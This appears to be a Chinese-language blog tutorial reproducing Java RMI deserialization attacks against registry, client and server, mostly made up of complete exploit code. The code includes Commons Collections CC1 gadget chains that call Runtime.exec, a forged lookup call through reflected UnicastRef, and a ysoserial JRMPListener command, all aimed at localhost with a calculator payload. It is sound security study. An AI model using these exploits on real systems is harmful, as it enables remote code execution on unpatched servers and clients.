RMI反序列化
前言:
上一篇文章我们通过分析rmi的基本原理总结出了相关的反序列化漏洞点
这篇文章我们就针对这三个大的部分进行漏洞复现
攻击Registry
只有一种客户端打注册中心
主要落在这个Registryimpl_Skel.dispatch里面的好几个case
- 0->bind(绑定)
- 1->list
- 2->lookup (查找)
- 3->rebind(重新绑定)
- 4->unbind (解绑)
因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。
而且只有list没有反序列化点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 0:
String var100;
Remote var103;
try {
ObjectInput var105 = var2.getInputStream();
var100 = (String)var105.readObject();//反序列化点
var103 = (Remote)var105.readObject();//反序列化点
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var100, var103);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}1
2
3
4
5
6
7
8
9
10
11
case 1:
var2.releaseInputStream();
String[] var99 = var6.list();
try {
ObjectOutput var102 = var2.getResultStream(true);
var102.writeObject(var99);// 无 反序列化点
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 2:
String var98;
try {
ObjectInput var104 = var2.getInputStream();
var98 = (String)var104.readObject();//反序列化点
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
Remote var101 = var6.lookup(var98);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var101);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 3:
Remote var8;
String var97;
try {
ObjectInput var11 = var2.getInputStream();
var97 = (String)var11.readObject();//反序列化点
var8 = (Remote)var11.readObject();//反序列化点
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var97, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
case 4:
String var7;
try {
ObjectInput var10 = var2.getInputStream();
var7 = (String)var10.readObject();//反序列化点
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}list() 方法
用 list() 方法可以列出目标上所有绑定的对象:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;
import java.rmi.Naming;
import java.rmi.RemoteException;
// list 方法
//模拟一个 RMI 客户端,尝试获取(枚举)远程 RMI 注册表中的服务列表
public class RegistryListAttack {
public static void main(String[] args) throws Exception{
//定义一个匿名内部类实现 IRemoteObj 接口
IRemoteObj remoteObj = new IRemoteObj() {
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
};
//调用 Naming.list 方法,查询Registry的绑定服务
// // 这一步会尝试连接到 IP 为 127.0.0.1、端口为 1099 的 RMI Registry。
// // 它会返回一个字符串数组,包含该注册表上所有已绑定的服务名称(如 "HelloServer")。
// // 如果 1099 端口没有开启 RMI 服务,就会抛出你遇到的 "Connection refused" 异常。
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}
其中:
1
2
3
4
5
6
IRemoteObj remoteObj = new IRemoteObj() {
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
};作用就是凭空产生一个符合 RMI 规范的对象,由于list没有反序列化点,所以这个地方也就写不了恶意代码
(我们在真实的攻击复现中,可以利用这个重写的机会,把恶意代码藏进去)
Server—>Registry
bind 或 rebind 的攻击
0 bind
3 rebind
(两个地方都有反序列化)
先看bind:
1
2
3
4
5
6
7
8
9
10
11
12
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
// The access check preventing remote access is done in the skeleton
// and is not applicable to local access.
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}bind的构造函数需要传入两个参数 String (字符串,死的,不可控) Remote(对象,活的,可控)
结合cc链子,如果服务端这里存在 CC 链相关的组件漏洞,那么就可以反序列化攻击
以cc1为例,先导入cc依赖(两个都需要导入cc3.2.1)
1
2
3
4
5
6
7
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency></dependencies>bind接收两个参数 String (字符串,死的,不可控) Remote(对象,活的,可控),而远程调用
bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的对象即可CC1 的最后走的是
InvocationHandler.readObject(),上面我们分析的要让客户端走bind.readObject(),现在我们要将恶意的cc装到里面对象里面,而在客户端收到信息的时候是一个Proxy对象(客户端代理 Stub通过 Registry 传递给客户端),Proxy对象被执行的时候去调readObject()方法,所以我们现在要看一下这个Proxy,里面有个newProxyInstance()
- **
loader**:让代理对象能顺利生成 - **
interfaces**:满足强类型要求,传的是new Class[] { Remote.class } - **
h**:把CC1 恶意代码,当作方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
{
Objects.requireNonNull(h);
final Class<?>[] intfs = interfaces.clone();
final SecurityManager sm = System.getSecurityManager();
if (sm != null) {
checkProxyAccess(Reflection.getCallerClass(), loader, intfs);
}
//--------------------------------------传参-------------------------------------------
/*
* Look up or generate the designated proxy class.
*/
Class<?> cl = getProxyClass0(loader, intfs);
/*
* Invoke its constructor with the designated invocation handler.
*/
try {
if (sm != null) {
checkNewProxyPermission(Reflection.getCallerClass(), cl);
}
//---------------------------------创建动态代理,伪造恶意代码----------------------
final Constructor<?> cons = cl.getConstructor(constructorParams);
final InvocationHandler ih = h;//代理对象的核心逻辑
if (!Modifier.isPublic(cl.getModifiers())) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
cons.setAccessible(true);
return null;
}
});
}
return cons.newInstance(new Object[]{h});//最终被发往 RMI 服务端的对象。必须实现 Remote 接口,用来骗过 RMI 的类型检查
} catch (IllegalAccessException|InstantiationException e) {
throw new InternalError(e.toString(), e);
} catch (InvocationTargetException e) {
Throwable t = e.getCause();
if (t instanceof RuntimeException) {
throw (RuntimeException) t;
} else {
throw new InternalError(t.toString(), t);
}
} catch (NoSuchMethodException e) {
throw new InternalError(e.toString(), e);
}
}接下来编写exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Case0RegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
//这里的 CC1() 返回的是一个 AnnotationInvocationHandler 对象。
//它虽然是一个 InvocationHandler(调用处理器),但它本质上是 Payload 的载体。它内部装着能够触发 Runtime.exec("calc") 的 ChainedTransformer 链条。
InvocationHandler handler = (InvocationHandler) CC1();
//创建动态代理,强制赋予 Remote 接口,伪造对象
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
//将对象放入bind,bind走rmi底层逻辑触发反序列化
registry.bind("test",remote);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","Piggy");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
return o;//这里的 CC1() 返回的是一个 AnnotationInvocationHandler 对象。
}
}
注意:计算机是在服务端弹出
rebind 和bind一样:
将registry.bind("test",remote); 替换为 rebind() 方法即可。
Client—>Registry
lookup 或 unbind的攻击
2 lookup (查找)
4 unbind (解绑)
先看 lookup:
lookup跟上面不同的地方在于只传入了String类型的参数,不可控
这里我们可以通过伪造 lookup 连接请求进行利用,修改 lookup 方法代码使其可以传入对象。
流程:
- 请求:客户端发送字符串
"xxxx"给服务端。 - 响应:服务端 然后把一个包含了 CC1 链的恶意代理对象通过网络发回给 客户端。
- 触发:客户端 收到字节流后,为了拿到这个对象,必须在本地执行
readObject()。 - 爆炸:客户端弹出计算器。
我们可以利用反射来实现这种攻击。(模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象)
而且我们前面再梳理基本原理的时候也提到了
UnicastRef,是他负责把数据打包、联网、发给服务器的(按照 RMI 的底层协议(JRMP)往 Socket 流里塞数据底层传输协议(JRMP)其实可以传输任何序列化对象)所以我们要反射的东西就是
UnicastRef来跳过lookup的参数类型的限制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote)var4.readObject();
} catch (IOException | ClassNotFoundException | ClassCastException var13) {
var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
- this.ref:就是
UnicastRef - operations:包含了
RegistryImpl中的所有可用的方法 - opnum: 2 &hash :是在
operations中lookup方法的id,这个值要与后面的hash值匹配 - var3.writeObject(var1):把
var1换成了CC1(),序列化传输 - this.ref.invoke(var2):调用
invoke后,数据包瞬间到达服务端,直接反序列化
直接看exp吧:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
public class Case2RegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
//通过反射触发,其他和上面的一样
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
//cc1
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","Piggy");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
return o;
}
}
计算机是在服务端弹出
unbind 和 lookup一样
攻击Client
上篇我们分析过,是在 unmarshalValue() 那个地方存在入口类。
Registry—>Client
对于注册中心来说,我们还是从这几个方法触发:
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
unbind(解绑对象)和rebind (重新绑定对象)可以不用获取对象,但是有返回值,是会序列化的
要是我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener
1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'calc'然后使用客户端去访问
1
2
3
4
5
6
7
8
9
package rmi_injection_labs1.client;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ClientAttackByCC1 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}
具体可以参考:
Server—>Client
- 服务端返回Object对象
- 远程加载对象
服务端返回Object对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。
所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以cc1为例
IRemoteObj:
修改一下接口内容
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;
import java.lang.reflect.InvocationTargetException;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
String sayhello(String keywords) throws RemoteException;//正常的方法
Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException;//伪造的对象
}服务端
用于实现User接口,返回 CC1 的恶意 Object 对象
使用transformermap版本的cc1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException {
}
@Override
public String sayhello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
// @Override
// public String sayHello(Object obj) throws RemoteException {
// return "";
// }
@Override
public Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","Piggy");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object payload = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
return (Object) payload;
}
}或者使用lazymap版本的cc1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException {
}
//正常的方法,转大写
@Override
public String sayhello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
//伪造的对象,导入cc1的lazymap版本
@Override
public Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
return (Object) handler;
}
}客户端
调用恶意方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;
import java.lang.reflect.InvocationTargetException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");//lookup("rmi://127.0.0.1:1099/remoteObject")
remoteObj.sayHello();
}
}
或者大家可以自己写在服务端另外写一个接口,服务端实现 User 接口写入恶意代码,之后将其挂载到注册中心,最后在客户端获取对象并调用接口中写的方法
我上面写的就是用的最开始分析RMI逻辑时写的代码,具体分析可以看这篇文章:
Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog
加载远程对象
这个就是P神写的codebase,可用性不太高
简单解释一下:
主要利用的就是 RMI 动态类加载 + codebase 远程加载机制
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。
java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用
http://、ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的
java.rmi.server.codebaseURL去加载类对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的
java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:
- 目标 JVM 未禁用远程 codebase(useCodebaseOnly=false)
- 允许远程代码加载的 SecurityManager 且配置了相应 policy 权限
- 反序列化的类本地不存在
则 JVM 会根据携带的 codebase URL 去远程下载并加载 class 文件
和我们接下来学习的JNDI有点相似,可以说是RMI codebase 是 JNDI 攻击的前身
| RMI codebase | JNDI Reference |
|---|---|
| 远程加载 class | 远程加载 class |
| URL 指定位置 | factory 指定位置 |
| 动态 defineClass | 动态 defineClass |
具体可以参考:Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
攻击Server
Client—>Server
服务端返回Object对象
和上面一样,逻辑是完全对称的
服务端需要反序列化“传入参数”
在 RMI 中,为了实现远程方法调用,参数必须能够被序列化。如果参数类型是 **
Object**,服务端必须调用readObject()来还原你发送的任何对象。只要服务端调用了readObject(),而你传过去的是精心构造的恶意对象(比如 CC1 链),攻击逻辑就会在服务端的内存中立即执行。相当于是客户端给服务端恶意对象,然后服务端解析 所以被攻击就是服务端自己返回object
服务端:
写接口
1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
// 关键:参数类型要是 Object,这样才能接收我们构造的代理对象
String sayHello(Object obj) throws RemoteException;
}实现接口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException {}
@Override
public String sayHello(Object obj) throws RemoteException {
// 实际上在代码运行到这里之前,RMI框架的反序列化就已经触发了
return "Hello, " + obj.toString();
}
public static void main(String[] args) throws Exception {
RemoteObjImpl obj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", obj);
System.out.println("RMI服务端已启动,等待攻击...");
}
}客户端:
封装cc1
transformmap版本的cc1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClientExploit {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","Piggy");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object payload = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
// --- 第四步:连接 RMI 发射 Payload ---
System.out.println("正在连接服务端并发起攻击...");
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
// 走你!
remoteObj.sayHello(payload);
}
}或者使用lazymap版本的cc1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClientExploit {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object payload = construct.newInstance(Retention.class, proxyMap);
// --- 第四步:连接 RMI 发射 Payload ---
System.out.println("正在连接服务端并发起攻击...");
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
// 走你!
remoteObj.sayHello(payload);
}
}
加载远程对象
和上边Server打Client一样利用条件非常苛刻。
具体可以参考:Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
参考文章: